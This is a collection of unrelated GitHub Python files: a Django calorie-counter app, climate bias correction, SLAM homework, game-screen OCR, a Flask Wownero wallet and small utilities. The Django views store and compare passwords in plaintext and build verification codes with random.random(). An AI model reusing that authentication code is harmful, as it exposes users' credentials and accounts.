import send_mail\nimport random\n\n\n# Create your views here.\ndef landing(request):\n template = 'index.html'\n context = {\n 'page_content_title':'this is homepage',\n 'msg_welcome':'welcome to calorie counter'\n }\n return render(request, template, context)\n\ndef user_login(request):\n login_form = LoginForm()\n template = 'users/login.html'\n if request.method == \"POST\":\n email = request.POST.get('email')\n password = request.POST.get('password')\n user = AppUser.objects.get(email = email)\n if password == user.password:\n #storing value to session\n # request.session.setdefault('user_emial', user.email)\n request.session['user_email'] = user.email\n # request.seddion.update({'user_email':user.email})\n # checcking session value \n # if request.session.get('user_email') == None:\n if request.session.has_key('user_email'):\n template = 'users/index.html'\n context ={\n 'form':login_form,\n 'data': {\n 'email': user.email,\n 'page_content_body': 'welcome to calorie counter:-',\n 'page_content_title': 'This is the user dashboard',\n }\n }\n return render(request,template,context)\n else:\n context = {\n 'form': login_form\n }\n return render(request,template,context)\n\n else:\n context ={\n 'form':login_form\n }\n return render(request,template,context)\n\n\ndef user_register(request):\n register_form = RegistrationForm()\n template = 'users/create.html'\n if request.method == \"POST\":\n first_name = request.POST.get('first_name')\n middle_name = request.POST.get('middle_name')\n last_name = request.POST.get('last_name')\n contact = request.POST.get('contact')\n gender = request.POST.get('gender')\n dob = request.POST.get('dob')\n blood_group = request.POST.get('blood_group')\n password = request.POST.get('password')\n email = request.POST.get('email')\n address = request.POST.get('address')\n major_health_issue = request.POST.get('major_health_issue')\n\n # creating user object\n # method one non parameterized constructor\n vc = random.random()\n user = AppUser()\n user.first_name = first_name\n user.middle_name = middle_name\n user.last_name = last_name\n user.contact = contact\n user.email = email\n user.gender = gender\n user.dob = dob\n user.blood_group = blood_group\n user.created_at = datetime.now()\n user.password = password\n user.verification_code = vc\n user.address = address\n user.major_health_issue = major_health_issue\n\n # # method 2 with parameterized constructor\n # user = AppUser(first_name = first_name, middle_name = middle_name,last_name = last_name,\\\n # contact = contact, email = email, gender = gender, dob = dob,\\\n # password = password, blood_group = blood_group)\n\n #to store data\n user.save()\n send_mail(\n 'calorie counter email verification',\n 'your email verification is: 2245'+str(user.verification_code),\n 'keshavbbashyal@gmail.com',\n [user.email],\n fail_silently = False,\n )\n context ={\n 'form':register_form\n }\n return render(request,template,context)\n else:\n context ={\n 'form':register_form\n }\n return render(request,template,context)\n\ndef user_logout(request):\n if request.session.has_key('user_email'):\n del request.session['user_email']\n login_form = LoginForm()\n template = \"users/login.html\"\n context = {\n 'form': login_form\n }\n return render(request, template, context)\n\n\n\ndef user_index(request):\n template = 'users/index.html'\n if request.session.has_key('email'):\n context = {\n 'page_content_title': 'This is the user dashboard',\n 'page_content_body': 'welcome to calorie counter' \n }\n return render(request, template, context)\n else:\n login_form = LoginForm()\n template = \"users/login.html\"\n context = {\n 'form': login_form\n }\n return render(request, template, context)\n","repo_name":"keshavbbashyal/caloriecounter","sub_path":"caloriecounter/ccapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18333922511","text":"import xarray as xr\nimport matplotlib.pyplot as plt\n\nvar='prec'\nmodel='CanESM5'\n\ndef readin(var, model):\n observed = ('../../CRUJRA/'+var+'/crujra.v2.0.'+var+'.std-ordering.nc')\n prcp_hist = ('../../../australia_climate/'+var+'/'+var+'_'+model+\n '_SSP245_r1i1p1f1_K_1850_2100.nc')\n prcp_COR = ('../../../australia_climate/'+var+'/'+var+'_'+model+\n '_SSP245_r1i1p1f1_K_1850_2100.nc')\n\n observed = xr.open_dataset(observed)\n model_hist = xr.open_dataset(prcp_hist)\n model_COR = xr.open_dataset(prcp_COR)\n\n observed = observed.sel(time = slice('1951-01-01','2015-12-31'))\n model_hist = model_hist.sel(time = slice('1951-01-01','2015-12-31'))\n model_COR = model_COR.sel(time = slice('1951-01-01','2015-12-31'))\n\n if var == 'prec':\n model_hist['prec'] = model_hist['prec']*86400\n model_COR['prec'] = model_COR['prec']*86400\n else:\n pass\n\n return(observed, model_hist, model_COR)\n\nobserved, model_hist, model_COR = readin('prec', 'CanESM5')\n\ndef method(var, model, method):\n\n if method == 'delta':\n clim_hist = model_hist.groupby('time.day').mean(dim='time')\n clim_cor = model_COR.groupby('time.day').mean(dim='time')\n\n diff_delta = clim_cor-clim_hist\n bc = observed.groupby('time.day') + diff_delta\n elif method == 'scaling_add':\n clim_obs = observed.groupby('time.day').mean(dim='time')\n clim_hist = model_hist.groupby('time.day').mean(dim='time')\n\n diff_scaling = clim_hist-clim_obs\n bc = model_COR.groupby('time.day') - diff_scaling\n elif method == 'scaling_multi':\n clim_obs = observed.groupby('time.day').mean(dim='time')\n clim_hist = model_hist.groupby('time.day').mean(dim='time')\n\n quotient_scaling = clim_obs/clim_hist\n bc = model_COR.groupby('time.day') * quotient_scaling\n elif method == 'mva':\n clim_obs = observed.groupby('time.day').mean(dim='time')\n clim_hist = model_hist.groupby('time.day').mean(dim='time')\n\n std_obs = observed.groupby('time.day').std(dim='time')\n std_cor = model_COR.groupby('time.day').std(dim='time')\n\n quotient_std = std_obs/std_cor\n prel = clim_obs + quotient_std - clim_hist\n bc = model_COR.groupby('time.day')+prel\n\n bc['prec'].attrs={'long_name':'Precipitation',\n 'standard_name':'precipitation_amount',\n 'units':'kg m-2'}\n\n bc['lat'].attrs={'units':'degrees',\n 'long_name':'latitude',\n 'standard_name':'latitude',\n 'axis':'Y'}\n bc['lon'].attrs={'units':'degrees',\n 'long_name':'longitude',\n 'standard_name':'longitude',\n 'axis':'X'}\n\n bc.attrs={'Conventions':'CF-1.6',\n 'Model':model+' CMIP6',\n 'Experiment':'SSP245',\n 'Realisation':'r1i1p1f1'}\n\n bc.to_netcdf(method+'_'+var+'_'+model+'_cor1.nc',\n encoding={'time':{'dtype': 'double'},\n 'lat':{'dtype': 'double'},\n 'lon':{'dtype': 'double'},\n var:{'dtype': 'float32'}\n }\n )\n\n# method('prec', 'CanESM5', 'delta')\n# method('prec', 'CanESM5', 'scaling_add')\n# method('prec', 'CanESM5', 'scaling_multi')\nmethod('prec', 'CanESM5', 'mva')\n","repo_name":"lteckentrup/bias_correction","sub_path":"methods/simple_bc.py","file_name":"simple_bc.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"700773373","text":"import numpy as np\nimport csv\n\nimport g2o\nfrom optimizer import PoseGraphOptimization\nimport icp\n\nfrom scipy.spatial.transform import Rotation as R\nimport matplotlib.pyplot as plt\nimport math\n\ninformation_constant = 3.9\n\ndef main():\n ############################################\n # #\n # DATA PROCESSING PART #\n # #\n ############################################\n \n # READ POSE DATA FROM CSV. posedata = [pose0,poes1,...]\n # pose0 = numpy matrix 4x4 (SE3)\n posedata = []\n with open('data/pose.csv', 'r') as csvfile:\n readcsv = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in readcsv:\n pose = []\n for i in range(len(row)):\n pose.append(float(row[i]))\n r = R.from_quat([pose[3],pose[4],pose[5],pose[6]]).as_dcm()\n t = np.array([[pose[0]],[pose[1]],[pose[2]]])\n RT = np.vstack((np.hstack((r,t)),np.array([0,0,0,1])))\n posedata.append(RT)\n\n # READ LIDAR DATA FROM CSV. lidardata = [lidar0,lidar1,...]\n # lidar0 = [[x0,x1,x2,x3,...],[y0,y1,y2,y3,...],[0,0,0,0,...],[1,1,1,1,...]] (2D in 3D! : Numpy matrix 4xn)\n lidardata = []\n with open('data/lidar.csv', 'r') as csvfile:\n readcsv = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in readcsv:\n x = []\n y = []\n pointNum = len(row) / 2\n for i in range(pointNum):\n x.append(float(row[2 * i])+0.30)\n y.append(row[2 * i + 1])\n lidardata.append(np.array([x, y, np.zeros(len(x)),np.ones(len(x))]).astype(np.float32))\n \n \n\n ############################################\n # #\n # SLAM MAIN PART (ASSIGNMENTS) #\n # #\n ############################################\n\n # nodes = [node0, node1, ...]\n # node0 = [pose0,lidar0,posediff with node before]\n nodes = [[posedata[0],lidardata[0],np.eye(4)]]\n \n for i in range(1,len(posedata)):\n ####################################################\n # ASSIGNMENTS 1 : CALCULATE POSE DIFF & MAKE NODE #\n # #\n # Create nodes at distance or angle intervals. #\n # #\n # POSEDIFF : 4x4 numpy matrix of pose difference #\n # POSE BEFORE : LAST NODE'S POSE ( nodes[-1][0] ) #\n # POSE NOW : CURRENT POSE ( posedata[i] ) #\n ####################################################\n\n np_pose_before = np.array(nodes[-1][0])\n np_pose_now = np.array(posedata[i])\n\n rot_dif = np.dot(np_pose_now[0:3, 0:3], np_pose_before[0:3, 0:3].T)\n pos_dif = np_pose_now[0:3, 3] - np_pose_before[0:3, 3]\n dis_dif = math.sqrt(pos_dif[0]**2 + pos_dif[1]**2 + pos_dif[2]**2)\n\n poseDiff = np.zeros([4,4])\n poseDiff[0:3, 0:3] = rot_dif #Calculate pose diff in 4x4 matrix\n poseDiff[0:3, 3] = pos_dif\n poseDiff[3, 3] = 1\n\n distDiff = dis_dif #Calculate euclidean distance between two node (using posediff)\n\n yawDiff = R.from_dcm(poseDiff[0:3,0:3]).as_euler('zyx')[0] # Robot is in 2D in this lab, so just use Yaw angle\n # If enough distance(0.1[m]) or angle(30[deg]) difference, create node\n if (distDiff > 0.1 or abs(yawDiff)/3.141592*180 > 30):\n nodes.append([posedata[i],lidardata[i],poseDiff])\n\n\n #############################################################################\n # ASSIGNMENTS 2 : ADD VERTEX AND ODOMETRY EDGE #\n # #\n # Add vertex of each node and add odometry constraint edge #\n # to optimizer. #\n # FUNCTION1: optimizer.add_vertex(index, g2o.Isometry3d(pose),fixed) #\n # index : int, pose : numpy 4x4 mat, fixed : boolean #\n # FUNCTION2: optimizer.add_edge([src,dst], g2o.Isometry3d(diff),information)#\n # src: source index, dst: destination index #\n # diff: diff mat (4x4) between source and destination # \n # information: 6x6 numpy matrix of information #\n # TIP : You can set simple identity matrix for information. #\n # It will work but not accurate. #\n #############################################################################\n \n # Define optimizer\n optimizer = PoseGraphOptimization()\n\n #Add first node as a fixed vertex. (True = fixed, False = non-fixed)\n # nodes = [[pose0,lidar0,posediff0],[pose1,lidar1,posediff1], ...]\n # pose0 = numpy matrix 4x4 (SE3)\n optimizer.add_vertex(0, g2o.Isometry3d(nodes[0][0]),True)\n \n for i in range(1,len(nodes)):\n information_matrix = information_constant * np.eye(6)\n \n if (i < len(nodes)/3):\n optimizer.add_vertex(i, g2o.Isometry3d(nodes[i][0]),True)\n else:\n optimizer.add_vertex(i, g2o.Isometry3d(nodes[i][0]),False)\n \n if(R.from_dcm(nodes[i][2][0:3, 0:3]).as_euler('zyx')[0] > 45): \n information_matrix[:,5] += 0.1\n information_matrix[5] += 0.1\n information_matrix[5, 5] -= 0.1\n\n if(np.linalg.norm(poseDiff[0:3, 3]) > 0.15):\n information_matrix[0] += 0.1\n information_matrix[:,0] += 0.1\n information_matrix[0, 0] -= 0.1\n\n optimizer.add_edge([i-1, i], g2o.Isometry3d(nodes[i][2]),\n information=information_matrix)\n\n #############################################################################\n # #\n # VISUALIZE LIDAR POINTS INTO GLOBAL. (BEFORE OPTIMIZATION) #\n # #\n #############################################################################\n\n for i in range(0,len(nodes)):\n LiDAR = nodes[i][1][0:4]\n LiDAR = np.dot(nodes[i][0], LiDAR)\n plt.scatter(LiDAR[0], LiDAR[1], c='b', marker='o',s=0.2)\n plt.show()\n\n optimizer.save_g2o('beforeSLAM.g2o')\n\n\n for full_scale_iter in range(2):\n #############################################################################\n # ASSIGNMENTS 3 : FIND LOOP CLOSURE #\n # #\n # Simply, you can put all pair in the matching pair, it will be work. #\n # How can you reduce pairs for less computation? (option) #\n # #\n ############################################################################# \n\n # matchingPair = [[src0,dst0],[src1,dst2]...]\n\n matchingPair = []\n interval = 30\n\n for i in range(len(nodes)-interval):\n for j in range(i+interval, len(nodes)):\n src_pose = np.array(nodes[i][0])[0:3, 3]\n dst_pose = np.array(nodes[j][0])[0:3, 3]\n\n diff_src_dst_pose = dst_pose - src_pose\n src_dst_distance = math.sqrt(diff_src_dst_pose[0]**2 + diff_src_dst_pose[1]**2 + diff_src_dst_pose[2]**2)\n \n if(src_dst_distance < 0.5):\n matchingPair.append([i, j])\n\n\n \n #####################################################################################\n # ASSIGNMENTS 4 : MATCHING PAIRS, OPTIMIZE! #\n # #\n # FUNCTION1: T,D,I = icp.icp(dstPoints,srcPoints,tolerance,max_iterations) #\n # T : Transformation from src node to dst node (3x3 matrix:2D matching!) #\n # D : Distances between corresponding points in srcPoints and dstPoints #\n # I : Total iterations \t\t\t\t\t #\n #\t\t\t\t\t\t\t\t\t\t\t #\n # Apply initial translation to dst point cloud! if not, icp will inaccurate #\n #\t\t\t\t\t\t\t\t\t\t\t #\n ##################################################################################### \n\n # Drawing ROBOT position X, Y\n # for i in range(0,len(nodes)):\n # pose = nodes[i][0][0:3, 3]\n # plt.scatter(pose[0], pose[1], c='b', marker='o',s=0.2)\n # plt.show()\n\n\n opt_count = 1\n add_edge_count = 0\n\n for src,dst in matchingPair:\n srcLiDAR = nodes[src][1][0:4]\n dstLiDAR = nodes[dst][1][0:4]\n #GET SOURCE NODE POSITION (FROM VERTEX). srcRT = 4x4 matrix\n rt = optimizer.get_pose(src)\n srcRT = np.insert(rt.R, 3, rt.t, axis=1)\n srcRT = np.insert(srcRT, 3, [0, 0, 0, 1], axis=0)\n #GET DESTINATION NODE POSITION (FROM VERTEX). dstRT = 4x4 matrix\n rt = optimizer.get_pose(dst)\n dstRT = np.insert(rt.R, 3, rt.t, axis=1)\n dstRT = np.insert(dstRT, 3, [0, 0, 0, 1], axis=0)\n \n #PROCESS POINT CLOUD!\n srcPoint = srcLiDAR\n\n src_pose = np.array(nodes[src][0])[0:3, 3]\n dst_pose = np.array(nodes[dst][0])[0:3, 3]\n diff_src_dst_pose = dst_pose - src_pose\n\n m = dstLiDAR.shape[1]\n offset_pose = np.zeros([4, m])\n offset_pose[0] = diff_src_dst_pose[0]\n offset_pose[1] = diff_src_dst_pose[1]\n\n dstPoint = dstLiDAR + offset_pose #??\n # dstPoint = dstLiDAR\n\n #DON'T HAVE TO CHANGE MATCHING FUNCTION\n T, distances, iterations = icp.icp(dstPoint[0:2].T,srcPoint[0:2].T,\n tolerance=0.000001,max_iterations=100000)\n #### MAKE 3x3 matrix into 4x4 matrix ####\n T = np.insert(T, 2, [0, 0, 0], axis=1)\n T = np.insert(T, 2, [0, 0, 1, 0], axis=0)\n\n # print(sum(distances)/len(distances))\n\n # DRAWING FUNCTION FOR CHECKING ICP DONE WELL : Source blue, Dest green, Dest after ICP red\n # dist_condition = distances[distances<0.03]\n # if(len(dist_condition) > len(distances)/1.5 and sum(distances)/len(distances) < 0.05):\n # dstTrans = np.dot(T, dstPoint)\n # plt.scatter(dstPoint[0], dstPoint[1], c='g', marker='o',s=0.2)\n # plt.scatter(srcPoint[0], srcPoint[1], c='b', marker='o',s=0.2)\n # plt.scatter(dstTrans[0], dstTrans[1], c='r', marker='o',s=0.2)\n # plt.show()\n \n np_pose_before = np.array(nodes[src][0])\n np_pose_now = np.dot(T, nodes[dst][0])\n\n rot_dif = np.dot(np_pose_now[0:3, 0:3], np_pose_before[0:3, 0:3].T)\n pos_dif = np_pose_now[0:3, 3] - np_pose_before[0:3, 3]\n\n poseDiff = np.zeros([4,4])\n poseDiff[0:3, 0:3] = rot_dif #Calculate pose diff in 4x4 matrix\n poseDiff[0:3, 3] = pos_dif\n poseDiff[3, 3] = 1\n\n yawDiff = R.from_dcm(poseDiff[0:3,0:3]).as_euler('zyx')[0]\n\n # if(sum(distances)/len(distances) < 0.075):\t# ADD CONDITION OF MATCHING SUCCESS (ex: mean of distances less then 0.05 [m])\n dist_condition = distances[distances<0.07]\n if (len(dist_condition) > len(distances)/2 and sum(distances)/len(distances) < 0.075):\n # if(len(dist_condition) > len(distances)/1.5 and sum(distances)/len(distances) < 0.05 and yawDiff/3.141592*180 < 20):\n information_matrix = information_constant * np.eye(6)\n \n if(R.from_dcm(poseDiff[0:3, 0:3]).as_euler('zyx')[0] > 45): \n information_matrix[:,5] += 0.1\n information_matrix[5] += 0.1\n information_matrix[5, 5] -= 0.1\n\n if(np.linalg.norm(poseDiff[0:3, 3]) > 0.75):\n information_matrix[0] += 0.1\n information_matrix[:,0] += 0.1\n information_matrix[0, 0] -= 0.1\n\n add_edge_count += 1\n\n optimizer.add_edge([src,dst], g2o.Isometry3d(poseDiff), #??\n information=information_matrix)\n optimizer.optimize()\n \n if(opt_count % 100 == 0):\n print(str(opt_count) + '/' + str(len(matchingPair)) + '/' + str(full_scale_iter))\n opt_count += 1\n \n\n #############################################################################\n # #\n # VISUALIZE LIDAR POINTS INTO GLOBAL (AFTER OPTIMIZATION) #\n # #\n #############################################################################\n\n print(add_edge_count)\n print(len(nodes))\n\n for i in range(0,len(nodes)):\n dstLiDAR = nodes[i][1][0:4]\n rt = optimizer.get_pose(i)\n T = np.insert(rt.R, 3, rt.t, axis=1)\n T = np.insert(T, 3, [0, 0, 0, 1], axis=0)\n dstLiDAR = np.dot(T, dstLiDAR)\n plt.scatter(dstLiDAR[0], dstLiDAR[1], c='b', marker='o',s=0.2)\n\n # if (i < 20):\n # plt.scatter(dstLiDAR[0], dstLiDAR[1], c='b', marker='o',s=0.2)\n # elif (i < 40):\n # plt.scatter(dstLiDAR[0], dstLiDAR[1], c='r', marker='o',s=0.2)\n # elif (i < 60):\n # plt.scatter(dstLiDAR[0], dstLiDAR[1], c='g', marker='o',s=0.2)\n # elif (i < 80):\n # plt.scatter(dstLiDAR[0], dstLiDAR[1], c='y', marker='o',s=0.2)\n # elif (i < 100):\n # plt.scatter(dstLiDAR[0], dstLiDAR[1], c='b', marker='o',s=0.2)\n \n plt.show()\n \n optimizer.save_g2o('afterSLAM.g2o')\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dw95kim/KAIST_RE510","sub_path":"HW2/PYSLAM_CODE/slam.py","file_name":"slam.py","file_ext":"py","file_size_in_byte":14355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"2887799868","text":"import cv2\nimport numpy as np\nimport pytesseract\n\n\nPOINTER_IMG = cv2.imread('./pointer.png', cv2.IMREAD_COLOR)\nVARIATIONS_IMG = cv2.imread('./variations.png', cv2.IMREAD_COLOR)\nVARIANT_IMG = cv2.imread('./variant.png', cv2.IMREAD_COLOR)\n\n\ndef get_item_name(image, slot=None):\n item_slot_x = 952\n item_slot_y_start = 235\n item_slot_height = 80\n text_width = 640\n text_height = 70\n\n if slot is None:\n slot = find_pointer(image)\n\n y = item_slot_y_start + item_slot_height * slot\n box = (item_slot_x, y, item_slot_x + text_width, y + text_height)\n return run_tesseract(image, box)\n\n\ndef find_pointer(image, match_method=4):\n pointer_min_y = 235\n pointer_max_y = 235 + 8 * 80\n pointer_min_x = 775\n pointer_max_x = 880\n\n templ = POINTER_IMG\n\n cropped = image[pointer_min_y:pointer_max_y, pointer_min_x:pointer_max_x]\n\n result = cv2.matchTemplate(cropped, templ, match_method)\n\n cv2.normalize(result, result, 0, 1, cv2.NORM_MINMAX, -1)\n\n _minVal, _maxVal, minLoc, maxLoc = cv2.minMaxLoc(result, None)\n if match_method == cv2.TM_SQDIFF or match_method == cv2.TM_SQDIFF_NORMED:\n matchLoc = minLoc\n else:\n matchLoc = maxLoc\n\n print(matchLoc)\n slot = matchLoc[1] // 80\n return slot\n\n\ndef has_multiple_variants(image):\n text_min_x = 162\n text_min_y = 836\n text_max_x = 378\n text_max_y = 890\n\n templ = VARIATIONS_IMG\n cropped = image[text_min_y:text_max_y, text_min_x:text_max_x]\n\n return has_image(cropped, templ)\n\n\n# https://stackoverflow.com/questions/29663764/determine-if-an-image-exists-within-a-larger-image-and-if-so-find-it-using-py\ndef has_image(im, tpl):\n im = np.atleast_3d(im)\n tpl = np.atleast_3d(tpl)\n H, W, D = im.shape[:3]\n h, w = tpl.shape[:2]\n\n # Integral image and template sum per channel\n sat = im.cumsum(1).cumsum(0)\n tplsum = np.array([tpl[:, :, i].sum() for i in range(D)])\n\n # Calculate lookup table for all the possible windows\n iA, iB, iC, iD = sat[:-h, :-w], sat[:-h, w:], sat[h:, :-w], sat[h:, w:]\n lookup = iD - iB - iC + iA\n # Possible matches\n possible_match = np.where(np.logical_and.reduce([lookup[..., i] == tplsum[i] for i in range(D)]))\n\n # Find exact match\n for y, x in zip(*possible_match):\n if np.all(im[y+1:y+h+1, x+1:x+w+1] == tpl):\n return True\n\n return False\n\n\ndef get_variant(image):\n box = (0, 930, 770, 1000)\n templ = VARIANT_IMG\n cropped = image[box[1]:box[3], box[0]:box[2]]\n if not has_image(cropped, templ):\n return None\n return run_tesseract(image, box)\n\n\ndef run_tesseract(image, box):\n startX, startY, endX, endY = box\n roi = image[startY:endY, startX:endX]\n\n # in order to apply Tesseract v4 to OCR text we must supply\n # (1) a language, (2) an OEM flag of 4, indicating that the we\n # wish to use the LSTM neural net model for OCR, and finally\n # (3) an OEM value, in this case, 7 which implies that we are\n # treating the ROI as a single line of text\n config = \"-l eng --oem 1 --psm 7\"\n return pytesseract.image_to_string(roi, config=config)\n\n\ndef process_frame(image, slot=None, only_get_variant=False):\n if not only_get_variant:\n name = get_item_name(image, slot)\n has_variants = has_multiple_variants(image)\n else:\n name = None\n has_variants = True\n variant_name = get_variant(image)\n return name, has_variants, variant_name\n","repo_name":"wchill/ACNHAutoCataloger","sub_path":"image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"60"} +{"seq_id":"28286874179","text":"\"\"\" Ejercicio 3: Función recursiva\nImprimir números de 5 a 1 de manera descendente usando\nfunciones recursivas.\nPuede ser cualquier valor positivo, por ejemplo, si pasamos el\nvalor de 5, debe imprimir:\n5\n4\n3\n2\n1\n\"\"\"\n\n\ndef imprimir_numeros(n):\n if n == 1:\n print(n)\n else:\n print(n)\n imprimir_numeros(n - 1)\n\n\nnumero = int(input('Ingrese un numero: '))\nimprimir_numeros(numero)\n","repo_name":"agustin1996ra/tecnicatura_git","sub_path":"Primer-y-segundo-semestre/Python/Leccion05/ej03.py","file_name":"ej03.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38008496520","text":"from time import sleep\nfrom io import BytesIO\nfrom base64 import b64encode\nfrom qrcode import make as qrcode_make\nfrom decimal import Decimal\nfrom flask import request, render_template, session, jsonify\nfrom flask import redirect, url_for, current_app, flash\nfrom flask_login import login_required, current_user\nfrom socket import socket\nfrom datetime import datetime\nfrom wowstash.blueprints.wallet import wallet_bp\nfrom wowstash.library.docker import docker\nfrom wowstash.library.elasticsearch import send_es\nfrom wowstash.library.jsonrpc import Wallet, to_atomic\nfrom wowstash.library.cache import cache\nfrom wowstash.forms import Send, Delete\nfrom wowstash.factory import db\nfrom wowstash.models import User\nfrom wowstash import config\n\n\n@wallet_bp.route('/wallet/loading')\n@login_required\ndef loading():\n if current_user.wallet_connected and current_user.wallet_created:\n sleep(1)\n return redirect(url_for('wallet.dashboard'))\n return render_template('wallet/loading.html')\n\n@wallet_bp.route('/wallet/dashboard')\n@login_required\ndef dashboard():\n send_form = Send()\n delete_form = Delete()\n _address_qr = BytesIO()\n all_transfers = list()\n wallet = Wallet(\n proto='http',\n host='127.0.0.1',\n port=current_user.wallet_port,\n username=current_user.id,\n password=current_user.wallet_password\n )\n if not docker.container_exists(current_user.wallet_container):\n current_user.clear_wallet_data()\n return redirect(url_for('wallet.loading'))\n\n if not wallet.connected:\n return redirect(url_for('wallet.loading'))\n\n address = wallet.get_address()\n transfers = wallet.get_transfers()\n for type in transfers:\n for tx in transfers[type]:\n all_transfers.append(tx)\n balances = wallet.get_balances()\n qr_uri = f'wownero:{address}?tx_description={current_user.email}'\n address_qr = qrcode_make(qr_uri).save(_address_qr)\n qrcode = b64encode(_address_qr.getvalue()).decode()\n seed = wallet.seed()\n spend_key = wallet.spend_key()\n view_key = wallet.view_key()\n send_es({'type': 'load_dashboard', 'user': current_user.email})\n return render_template(\n 'wallet/dashboard.html',\n transfers=all_transfers,\n balances=balances,\n address=address,\n qrcode=qrcode,\n send_form=send_form,\n delete_form=delete_form,\n user=current_user,\n seed=seed,\n spend_key=spend_key,\n view_key=view_key,\n )\n\n@wallet_bp.route('/wallet/connect')\n@login_required\ndef connect():\n if current_user.wallet_connected is False:\n wallet = docker.start_wallet(current_user.id)\n port = docker.get_port(wallet)\n current_user.wallet_connected = docker.container_exists(wallet)\n current_user.wallet_port = port\n current_user.wallet_container = wallet\n current_user.wallet_start = datetime.utcnow()\n db.session.commit()\n\n return 'ok'\n\n@wallet_bp.route('/wallet/create')\n@login_required\ndef create():\n if current_user.wallet_created is False:\n docker.create_wallet(current_user.id)\n current_user.wallet_created = True\n db.session.commit()\n\n return 'ok'\n\n@wallet_bp.route('/wallet/status')\n@login_required\ndef status():\n data = {\n 'created': current_user.wallet_created,\n 'connected': current_user.wallet_connected,\n 'port': current_user.wallet_port,\n 'container': current_user.wallet_container\n }\n return jsonify(data)\n\n@wallet_bp.route('/wallet/send', methods=['GET', 'POST'])\n@login_required\ndef send():\n send_form = Send()\n redirect_url = url_for('wallet.dashboard') + '#send'\n wallet = Wallet(\n proto='http',\n host='127.0.0.1',\n port=current_user.wallet_port,\n username=current_user.id,\n password=current_user.wallet_password\n )\n if send_form.validate_on_submit():\n address = str(send_form.address.data)\n user = User.query.get(current_user.id)\n\n # Check if Wownero wallet is available\n if wallet.connected is False:\n flash('Wallet RPC interface is unavailable at this time. Try again later.')\n send_es({'type': 'tx_fail_rpc_unavailable', 'user': user.email})\n return redirect(redirect_url)\n\n # Quick n dirty check to see if address is WOW\n if len(address) not in [97, 108]:\n flash('Invalid Wownero address provided.')\n send_es({'type': 'tx_fail_address_invalid', 'user': user.email})\n return redirect(redirect_url)\n\n # Check if we're sweeping or not\n if send_form.amount.data == 'all':\n tx = wallet.transfer(address, None, 'sweep_all')\n else:\n # Make sure the amount provided is a number\n try:\n amount = to_atomic(Decimal(send_form.amount.data))\n except:\n flash('Invalid Wownero amount specified.')\n send_es({'type': 'tx_fail_amount_invalid', 'user': user.email})\n return redirect(redirect_url)\n\n # Send transfer\n tx = wallet.transfer(address, amount)\n\n # Inform user of result and redirect\n if 'message' in tx:\n msg = tx['message'].capitalize()\n msg_lower = tx['message'].replace(' ', '_').lower()\n flash(f'There was a problem sending the transaction: {msg}')\n send_es({'type': f'tx_fail_{msg_lower}', 'user': user.email})\n else:\n flash('Successfully sent transfer.')\n send_es({'type': 'tx_success', 'user': user.email})\n\n return redirect(redirect_url)\n else:\n for field, errors in send_form.errors.items():\n flash(f'{send_form[field].label}: {\", \".join(errors)}')\n return redirect(redirect_url)\n","repo_name":"trasherdk/wowstash","sub_path":"wowstash/blueprints/wallet/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12215030545","text":"import requests\nimport xml.etree.ElementTree as ET\n\nRSS_FEED_URL = \"https://www.freemalaysiatoday.com/\"\n\ndef loadRSS():\n resp = requests.get(RSS_FEED_URL)\n\n return resp.content\n\ndef parseXML(rss):\n\n root = ET.fromstring(rss)\n\n newsitems = []\n\n for item in root.findall('./home-news'):\n news = {}\n \n for child in item:\n\n if child.tag == '{http://search.yahoo.com/mrssss/}content':\n news['media'] = child.attrib['url']\n else:\n news[child.tag] = child.text.encode('utf8')\n\n newsitems.append(news)\n \n return newsitems\n\ndef topStories():\n\n rss = loadRSS()\n\n newsitems = parseXML(rss)\n return newsitems","repo_name":"IqramRafie/desktopNotifier","sub_path":"Desktop Notifier/desktopNotifier.py","file_name":"desktopNotifier.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71343578110","text":"# write code that calculates pi using the Monte Carlo method with one small bug in it\n# then use the debugger to find the bug\nimport random\nimport math\n\ndef calc_pi(n):\n num_in_circle = 0\n for i in range(n):\n x = random.random()\n y = random.random()\n if math.sqrt(x**2 + y**2) < 1:\n num_in_circle += 1\n return 4 * num_in_circle / n\n\nif __name__ == \"__main__\":\n print(calc_pi(1000000))\n\n# Path: vscode_demo/debugger_demo.py","repo_name":"jerrylin96/vscode_demo","sub_path":"debugger_demo.py","file_name":"debugger_demo.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2327171747","text":"# -*- coding: utf-8 -*-\nfrom flask import flash\nimport os\nimport psycopg2\nfrom werkzeug.utils import secure_filename\nimport errno\nimport hashlib\nimport smtplib as smtp\nfrom transliterate import translit\n\n\nclass FlashUtils:\n @staticmethod\n def generate_success(text):\n flash(text, 'success')\n\n @staticmethod\n def generate_error(text):\n flash(text, 'danger')\n\n\nclass UploadUtils:\n @staticmethod\n def allowed_file(filename):\n from run import app\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']\n\n # file upload method\n @staticmethod\n def upload_file(files, answer_uuid):\n from run import app\n saved_files = []\n for file in files:\n if file and UploadUtils.allowed_file(file.filename):\n filename, file_extension = os.path.splitext(file.filename)\n try:\n filename = translit(filename, reversed=True)\n except:\n None\n filename = secure_filename(''.join((filename, file_extension)))\n full_path = os.path.join(\n os.path.dirname(os.path.abspath(__file__)) + app.config['UPLOAD_FOLDER'] + '/answer/{}'.format(\n str(answer_uuid)), filename)\n 